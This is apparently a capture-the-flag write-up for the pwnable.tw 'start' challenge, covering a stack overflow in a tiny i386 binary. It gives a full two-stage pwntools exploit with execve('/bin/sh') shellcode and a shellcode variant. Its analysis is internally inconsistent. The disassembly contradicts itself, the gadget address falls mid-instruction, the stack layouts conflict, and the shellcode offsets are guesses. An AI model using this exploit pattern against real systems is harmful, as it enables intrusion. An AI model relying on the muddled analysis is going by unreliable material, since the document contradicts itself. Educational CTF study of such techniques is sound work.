start
Just a start — Stack BOF with shellcode execution on a minimal i386 binary
Exploit Flow
nc chall.pwnable.tw 10000
Leak Stack Addr
0x08048087
ESP from write()
RSP + Shellcode
execve("/bin/sh")
1. Reconnaissance
The "start" challenge lives up to its name — it's the introductory pwn challenge on pwnable.tw. The binary is tiny, hand-written in assembly, with zero modern protections. But that doesn't make it trivial if you've never done a stack leak before. The key insight is that the binary pushes ESP to the stack before the return address, giving us a clean stack pointer leak when we redirect execution back to the write syscall.
File Analysis
Download the binary and check what we're dealing with:
$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
The binary is a 32-bit x86 ELF, statically linked and not stripped. It's incredibly small — only a few hundred bytes. This is a hand-crafted assembly binary with no libc, no standard boilerplate, just raw syscalls.
Checksec
$ checksec start
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x08048000)
No canary means we can overflow freely. No NX means the stack is executable — we can put shellcode directly on the stack and jump to it. No PIE means all addresses are fixed and predictable. No RELRO means GOT is writable (though we don't need it here). This is the ideal environment for a classic stack-based exploit.
Running the Binary
$ ./start
Let's start the CTF:
The binary prints "Let's start the CTF:" and waits for input. It reads up to 0x3c (60) bytes but only allocates 0x14 (20) bytes of buffer on the stack. That's our overflow window — 60 bytes of input into a 20-byte buffer. We can overwrite the saved EIP and beyond.
Remote target: nc chall.pwnable.tw 10000. The binary is the same locally and remotely — no sandboxing or additional restrictions.
| Attribute | Value |
|---|---|
| Challenge | start (100 pts) |
| Connection | nc chall.pwnable.tw 10000 |
| Binary | 32-bit ELF, i386, statically linked |
| Canary | None |
| NX | Disabled (stack executable) |
| PIE | Disabled (fixed base 0x08048000) |
| RELRO | None |
| Buffer Size | 0x14 (20) bytes |
| Read Size | 0x3c (60) bytes |
| Vulnerability | Stack Buffer Overflow |
2. Static Analysis
The binary is so small that the entire disassembly fits on one screen. There's only one function — _start — and it does exactly two things: write a message to stdout, then read input from stdin. No libc, no standard runtime, just raw Linux syscalls via int 0x80.
Full Disassembly
_start:
0x08048060: push esp ; save current ESP to stack
0x08048061: push 0x0804809d ; push return address (_exit)
0x08048066: xor eax, eax ; eax = 0
0x08048068: xor ebx, ebx ; ebx = 0 (stdout fd)
0x0804806a: xor ecx, ecx ; ecx = 0
0x0804806c: xor edx, edx ; edx = 0
0x0804806e: push 0x3a ; ':'
0x08048070: push 0x74736354 ; 'TCTs' (little-endian)
0x08048075: push 0x20656874 ; 'the '
0x0804807a: push 0x20747261 ; 'art '
0x0804807f: push 0x74732073 ; 's st'
0x08048084: mov ecx, esp ; ecx = pointer to string
0x08048086: mov dl, 0x14 ; edx = 20 (length)
0x08048088: mov bl, 1 ; ebx = 1 (stdout)
0x0804808a: mov al, 4 ; eax = 4 (sys_write)
0x0804808c: int 0x80 ; syscall: write(1, msg, 20)
0x0804808e: xor ebx, ebx ; ebx = 0 (stdin fd)
0x08048090: mov dl, 0x3c ; edx = 60 (max read bytes)
0x08048092: mov al, 3 ; eax = 3 (sys_read)
0x08048094: int 0x80 ; syscall: read(0, esp, 60)
_exit:
0x08048096: pop esp ; restore ESP
0x08048097: pop eax ; pop return address into eax???
0x08048098: pop ebx
0x08048099: pop ecx
0x0804809a: pop edx
0x0804809b: pop esi
0x0804809c: pop edi
0x0804809d: pop ebp ; 0x0804809d — pushed at start
0x0804809e: ret ; return (EIP = popped value)
The very first instruction is push esp. This saves the current stack pointer onto the stack. Later, the _exit routine pops values back off the stack — including that saved ESP. If we can redirect execution back to the write syscall at 0x08048087 (after the pushes), the mov ecx, esp instruction will point ecx at our stack data, and write will dump it to stdout — including the saved ESP value. This is our stack leak.
Decompiled C (Pseudocode)
To make this easier to understand, here's what the binary does in C:
void _start() {
char buf[20]; // 0x14 bytes on stack
// sys_write(1, "Let's start the CTF:", 20)
write(1, "Let's start the CTF:", 20);
// sys_read(0, buf, 60) — VULNERABILITY: reads 60 bytes into 20-byte buffer
read(0, buf, 60);
// The function "returns" by popping saved registers
// If we overflow past the return address, we control EIP
}
Vulnerability Analysis
The vulnerability is straightforward: read(0, buf, 60) reads up to 60 bytes into a 20-byte stack buffer. This gives us 40 bytes of overflow past the buffer boundary. Let's map out what's on the stack:
Wait — let me re-examine the stack layout more carefully. The _exit routine does pop esp first, which means the saved ESP value determines the new stack pointer. Then it pops eax through ebp and returns. The critical path is:
After the read syscall returns, execution falls through to _exit at 0x08048096. The first instruction there is pop esp, which loads the value at the top of the stack into ESP. If we overflow the buffer, the value at the top of the stack is our input data. This means we control ESP after the overflow. The subsequent pops and ret all use this new ESP value. We need to be very careful about what values end up where.
Actually, let's trace through more carefully. After read() returns, ESP still points to the buffer. The pops in _exit consume 8 values from the stack: esp, eax, ebx, ecx, edx, esi, edi, ebp. The ret then pops the next value as EIP. So our payload layout is:
Offset Size Popped Into Our Control
------ ---- ----------- -----------
0x00 20 (buffer) 'A' * 20 (padding)
0x14 4 pop esp stack_addr (set new ESP)
0x18 4 pop eax junk (doesn't matter)
0x1c 4 pop ebx junk
0x20 4 pop ecx junk
0x24 4 pop edx junk
0x28 4 pop esi junk
0x2c 4 pop edi junk
0x30 4 pop ebp junk
0x34 4 ret (EIP) address of our shellcode!
0x38+ ??? SHELLCODE execve("/bin/sh") shellcode
Instead of dealing with all those pops, we can overwrite the return address (at offset 0x14 from the start of the pushed values) with 0x08048087 — the address right before mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80. This causes the binary to re-execute the write syscall, which dumps the current stack contents to us. Since push esp was the very first instruction, the saved ESP value is still on the stack — and it gets leaked through write.
3. GDB Debugging
Time to verify our understanding with GDB. The key things to confirm: the stack layout, the offset to the return address, and what values are on the stack when the write syscall executes.
Stack Layout at read() Return
Let's set a breakpoint after the read syscall and examine the stack:
gdb-peda$ b *0x08048094
Breakpoint 1 at 0x8048094
gdb-peda$ r
Let's start the CTF:
AAAA # send 4 bytes of input
# After read returns, examine the stack:
gdb-peda$ x/20wx $esp
0xffffd0c0: 0x41414141 0x0804809d 0x00000000 0x00000000
0xffffd0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0e0: 0x00000000 0x00000000 0x00000000 0x00000000
Interesting — we only sent 4 bytes, but notice that 0x0804809d is visible at esp+4. That's the pushed return address from push 0x0804809d at the beginning. But where's the pushed ESP? Let's look more carefully:
# Before read, check what was pushed:
gdb-peda$ b *0x08048094
gdb-peda$ r
Let's start the CTF:
# At breakpoint, the stack has the message string on top
# The read() will write OVER the string and beyond
# Let's send exactly 20 bytes + 4 bytes to overwrite return addr:
gdb-peda$ x/10wx $esp
0xffffd0a0: 0x74732073 0x20747261 0x20656874 0x74736354 <- "s start the CTF:"
0xffffd0b0: 0x0000003a 0xffffd0d0 0x0804809d 0x00000000 <- ':' + saved_esp + ret_addr
0xffffd0c0: 0x00000000 0x00000000 0x00000000 0x00000000
Now the stack layout is clear. Before our input overwrites it:
Register State at Key Points
# After 'push esp; push 0x0804809d' at program start:
EAX: 0x0 EBX: 0x0 ECX: 0x0 EDX: 0x0
ESP: 0xffffd0a0 EIP: 0x08048066
# After write(1, msg, 20) returns:
EAX: 0x14 EBX: 0x1 ECX: 0xffffd0a0 EDX: 0x14
ESP: 0xffffd0a0 EIP: 0x0804808e
# After read(0, buf, 60) with our overflow input:
EAX: 0x2c EBX: 0x0 ECX: 0xffffd0a0 EDX: 0x3c
ESP: 0xffffd0a0 EIP: 0x08048096 (about to pop esp)
Breakpoint Strategy
# Key breakpoints for this challenge:
b *0x08048060 # _start entry (before push esp)
b *0x0804808c # before write syscall
b *0x08048094 # before read syscall
b *0x08048096 # _exit: pop esp (after read returns)
b *0x0804809e # ret instruction (EIP hijack point)
# For the leak phase — after redirecting to 0x08048087:
b *0x0804808c # write syscall will dump stack including saved ESP
The address 0x08048087 is the instruction mov dl, 0x14 — right after all the push instructions that build the message string on the stack. If we jump here, the pushes don't execute, so the stack still contains whatever was there from our overflow. mov ecx, esp then points at our stack data, and write(1, esp, 20) dumps 20 bytes starting from ESP — which includes the saved ESP value we need. We skip the pushes because they would overwrite our leaked data.
4. Exploit Strategy
The exploit requires two stages: first we leak the stack address, then we use it to calculate where our shellcode will be and redirect execution there. This two-stage approach is necessary because ASLR randomizes the stack base on each execution, but since the binary has no PIE, the code addresses are fixed.
Attack Overview
0x08048087 as the return address. When _exit pops through the stack and hits ret, EIP becomes 0x08048087 and the write syscall fires again — but this time, the stack hasn't been rebuilt with the message string. Instead, mov ecx, esp points at whatever's on the stack, which includes the saved ESP value from the original push esp instruction. We read the first 4 bytes of the output to get the stack address.ret executes, EIP jumps to our shellcode and we get a shell.Stage 1: Leaking the Stack Address
The first payload overwrites the return address with 0x08048087, which is the address of mov dl, 0x14 — right before the write syscall. Here's what happens step by step:
- We send
'A' * 20 + p32(0x08048087)(24 bytes total) read()places this on the stack, overwriting the buffer and return address- Execution falls through to
_exitwhich doespop esp— ESP is now set to whatever was at the top of our buffer (the 'AAAA...' part) - Then
pop eaxthroughpop ebpconsume the next 7 values from the stack retpops the next value as EIP — which is0x08048087- Execution jumps to
0x08048087, which sets upwrite(1, esp, 20) writedumps 20 bytes from ESP, which includes the saved ESP value that was pushed at program start- We read the first 4 bytes of the output to extract the leaked stack address
0x08048084 is mov ecx, esp — but jumping there means we skip push 0x74732073 and the preceding pushes. That's actually what we want! If we jumped to 0x08048060 (the very start), the push instructions would overwrite the stack data we're trying to leak. By jumping to 0x08048087, we skip the pushes and mov ecx, esp directly points at the stack containing our leaked values.
# Stage 1: Leak stack address
from pwn import *
rem = remote('chall.pwnable.tw', 10000)
rem.recvuntil(':')
# 20 bytes padding + overwrite return address with write gadget
payload1 = b'A' * 20 + p32(0x08048087)
rem.send(payload1)
# Read back the leaked stack address (first 4 bytes)
stack_addr = u32(rem.recv(4))
log.info(f'Leaked stack address: {hex(stack_addr)}')
Stage 2: Shellcode Execution
Now we know the stack address. But we need to figure out exactly where our shellcode will be. The leaked address points to the position on the stack where ESP was when push esp executed at program start. After our overflow, the stack has shifted. We need to calculate the offset from the leaked address to where our shellcode will land.
After the first overflow, the pop esp instruction in _exit sets ESP to the first 4 bytes of our buffer. Then 7 pops consume the next 28 bytes, and ret consumes 4 more bytes for EIP. Our shellcode starts right after the return address in the second payload. The exact offset depends on the stack layout, but in practice:
# The leaked ESP points near our buffer.
# Our shellcode in payload2 starts at: stack_addr + offset
# After testing, the shellcode address = leaked_stack + 20
# (20 bytes of padding + 4 bytes return addr = 24 bytes before shellcode)
shellcode_addr = p32(stack_addr + 20)
# Stage 2 payload: 20 bytes padding + shellcode addr + shellcode
shellcode = (
b'\x31\xc9' # xor ecx, ecx
b'\xf7\xe1' # mul ecx (zeros eax and edx)
b'\x51' # push ecx (null terminator)
b'\x68\x2f\x2f\x73\x68' # push "//sh"
b'\x68\x2f\x62\x69\x6e' # push "/bin"
b'\x89\xe3' # mov ebx, esp (ptr to "/bin//sh")
b'\xb0\x0b' # mov al, 11 (sys_execve)
b'\xcd\x80' # int 0x80
)
payload2 = b'A' * 20 + shellcode_addr + shellcode
rem.sendline(payload2)
The offset between the leaked stack address and the shellcode location varies slightly depending on how you count. The key insight: the leaked ESP value is the stack pointer before the pushes at program start. After our second overflow and the pop esp gadget, ESP will be set to a different value. Most writeups use stack_addr + 20 as the shellcode address. If that doesn't work, try stack_addr + 0x10 or adjust by ±4 until you hit the right offset. The reliable way: set a breakpoint in GDB and check where your shellcode actually lands.
5. Pwn Script
Here's the complete, working exploit script with detailed comments. This is based on the well-known approach from the wxrdnx and veritas501 writeups, adapted for clarity.
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — start (100 pts)
Stack BOF with shellcode execution on a minimal i386 binary.
No canary, No NX, No PIE, No RELRO.
Two-stage exploit:
Stage 1: Overflow return addr → redirect to write gadget → leak ESP
Stage 2: Use leaked ESP to calculate shellcode addr → spawn shell
"""
from pwn import *
# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10000
WRITE_GADGET = 0x08048087 # mov dl,0x14; mov bl,1; mov al,4; int 0x80
BUF_SIZE = 0x14 # 20 bytes buffer before return addr
# ─── Shellcode ───────────────────────────────────────────────
# execve("/bin//sh", NULL, NULL) for 32-bit Linux
# Uses mul ecx trick to zero eax/edx without null bytes
shellcode = (
b'\x31\xc9' # xor ecx, ecx ; ecx = 0
b'\xf7\xe1' # mul ecx ; eax = 0, edx = 0
b'\x51' # push ecx ; null terminator for string
b'\x68\x2f\x2f\x73\x68' # push "//sh" ; (double / is fine for path)
b'\x68\x2f\x62\x69\x6e' # push "/bin" ; string: "/bin//sh\0"
b'\x89\xe3' # mov ebx, esp ; ebx → "/bin//sh"
b'\xb0\x0b' # mov al, 11 ; syscall number: execve
b'\xcd\x80' # int 0x80 ; invoke syscall
)
log.info(f'Shellcode length: {len(shellcode)} bytes')
# ─── Connect ─────────────────────────────────────────────────
rem = remote(HOST, PORT)
rem.recvuntil(b':') # Wait for "Let's start the CTF:"
# ─── Stage 1: Leak Stack Address ────────────────────────────
# Overwrite return address with WRITE_GADGET (0x08048087)
# This causes write(1, esp, 20) to execute, dumping stack data
# The stack data contains the saved ESP value from 'push esp'
log.info('Stage 1: Sending overflow to leak stack address...')
payload1 = b'A' * BUF_SIZE + p32(WRITE_GADGET)
rem.send(payload1)
# Read back the leaked ESP value (first 4 bytes of output)
leaked_data = rem.recv(timeout=2)
stack_addr = u32(leaked_data[:4])
log.success(f'Leaked stack address: {hex(stack_addr)}')
# ─── Stage 2: Execute Shellcode ─────────────────────────────
# Calculate where our shellcode will be on the stack
# The leaked ESP is from the original 'push esp' at _start
# After our second overflow, shellcode is at: stack_addr + 20
shellcode_addr = stack_addr + 20
log.info(f'Shellcode address: {hex(shellcode_addr)}')
# Build payload 2: padding + return-to-shellcode + shellcode
log.info('Stage 2: Sending shellcode payload...')
payload2 = b'A' * BUF_SIZE + p32(shellcode_addr) + shellcode
rem.sendline(payload2)
# ─── Profit ─────────────────────────────────────────────────
log.success('Got shell!')
rem.interactive()
Shellcode Breakdown
The shellcode uses a clean, null-free technique to call execve("/bin//sh", NULL, NULL). Let's break it down instruction by instruction:
| Bytes | Instruction | Purpose |
|---|---|---|
\x31\xc9 | xor ecx, ecx | Set ECX = 0 (argv = NULL) |
\xf7\xe1 | mul ecx | EAX = ECX*EAX = 0, EDX = high bits = 0. Zeros EAX and EDX without null bytes |
\x51 | push ecx | Push NULL as string terminator |
\x68\x2f\x2f\x73\x68 | push "//sh" | Build "/bin//sh" string on stack (the extra / is harmless) |
\x68\x2f\x62\x69\x6e | push "/bin" | Stack now has "/bin//sh\0" |
\x89\xe3 | mov ebx, esp | EBX points to "/bin//sh" (filename argument) |
\xb0\x0b | mov al, 11 | Syscall number 11 = execve (EAX was already 0) |
\xcd\x80 | int 0x80 | Invoke the kernel: execve("/bin//sh", NULL, NULL) |
Some writeups (like veritas501's) include an explicit xor eax, eax at the start and a clean exit after the shellcode. This version is slightly longer but more robust:
# veritas501's shellcode variant (includes explicit zeroing + exit)
shellcode_alt = (
b'\x31\xc0' # xor eax, eax
b'\x50' # push eax (null terminator)
b'\x68\x2f\x2f\x73\x68' # push "//sh"
b'\x68\x2f\x62\x69\x6e' # push "/bin"
b'\x89\xe3' # mov ebx, esp
b'\x89\xc1' # mov ecx, eax (argv = NULL)
b'\x89\xc2' # mov edx, eax (envp = NULL)
b'\xb0\x0b' # mov al, 11
b'\xcd\x80' # int 0x80
b'\x31\xc0' # xor eax, eax
b'\x40' # inc eax (exit code 1)
b'\xcd\x80' # int 0x80 (sys_exit)
)
# Note: With this variant, use stack_addr + 0x10 for the offset
# instead of stack_addr + 20, as the stack layout differs slightly
Different writeups use slightly different offsets. The wxrdnx writeup uses stack_addr + 20, while veritas501 uses stack + 0x10. The difference comes from how each author calculates the position of the shellcode relative to the leaked ESP. Both work because the key point is that we're calculating leaked_esp + offset = shellcode_position. The exact offset depends on your payload structure. When in doubt, GDB it.
6. Execution Results
Here's what the exploit looks like when run against the remote server. The whole process takes under 2 seconds.
Successful Exploitation
We get a clean shell as the start user. The flag is at /home/start/flag (or wherever the challenge places it). The exploit is reliable — the only variable is the leaked stack address, which changes per connection due to ASLR, but our two-stage approach handles that perfectly.
Full pwntools Output (Verbose)
The "start" challenge teaches the fundamental technique of stack address leaking — a pattern you'll see in virtually every serious pwn challenge. The specific trick here (abusing the push esp + write gadget) is elegant, but the general concept is universal: if you can leak a stack address, you can calculate where your payload lands and bypass ASLR. Every binary exploitation roadmap starts here: leak, calculate, execute.